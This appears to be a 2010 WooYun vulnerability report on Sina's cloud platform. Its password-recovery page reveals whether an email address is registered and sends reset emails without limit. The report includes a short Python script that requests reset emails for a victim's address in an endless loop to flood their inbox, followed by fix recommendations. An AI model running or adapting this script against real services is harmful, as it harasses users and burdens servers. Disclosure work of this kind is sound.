漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2010-0384
漏洞标题:0day:新浪云计算设计缺陷漏洞
相关厂商:新浪
漏洞作者: 路人甲
提交时间:2010-08-31 10:27
修复时间:2010-09-30 12:00
公开时间:2010-09-30 12:00
漏洞类型:设计缺陷/逻辑错误
危害等级:低
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2010-08-31: 细节已通知厂商并且等待厂商处理中
2010-09-06: 厂商已经确认,细节仅向厂商公开
2010-09-16: 细节向核心白帽子及相关领域专家公开
2010-09-26: 细节向普通白帽子公开
2010-10-06: 细节向实习白帽子公开
2010-09-30: 细节向公众公开
简要描述:
在"找回密码"那一项存在设计缺陷,能够发送骚扰邮件及泄漏是否存在该邮箱地址,易于受到枚举型攻击。
详细说明:
1、没有验证"姓名"和"移动电话"的正确性,只要提交了正确的"电子邮箱"即可发送找回信息。
2、如果提交了正确的邮箱会返回"请打开您的邮箱,您将收到一封标题为"SAE用户找回密码"的邮件,请按邮件中的提示完成找回密码操作."
如果提交了错误的邮箱会返回"您输入的邮箱不存在!"
从原理上讲,有可能对新浪云计算造成拒绝服务攻击。
攻击者只需要花费很少的资源,就能给服务器端和用户双方造成大量垃圾数据。
漏洞证明:
漏洞证明:python程序(POC程序功能为发送无限个"sae用户找回密码"的邮件直到把用户的邮箱撑爆!)
# coding:utf-8
# 用法 D:\>python exploit.py victim@gmail.com
import urllib2
import sys
while(1):
url = 'http://sae.sina.com.cn/?m=home&a=getpwd&email='+sys.argv[1]+'&uname=1&mobile=1'
request = urllib2.Request(url)
response = urllib2.urlopen(request)
其中victim@gmail.com是已经注册了新浪云计算的用户
修复方案:
修复建议:
1、增加对"姓名"和"手机号"的逻辑判断。
2、不要提示"您输入的邮箱不存在!"。
3、增加验证码验证功能。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2010-09-06 10:19
厂商回复:
最新状态:
暂无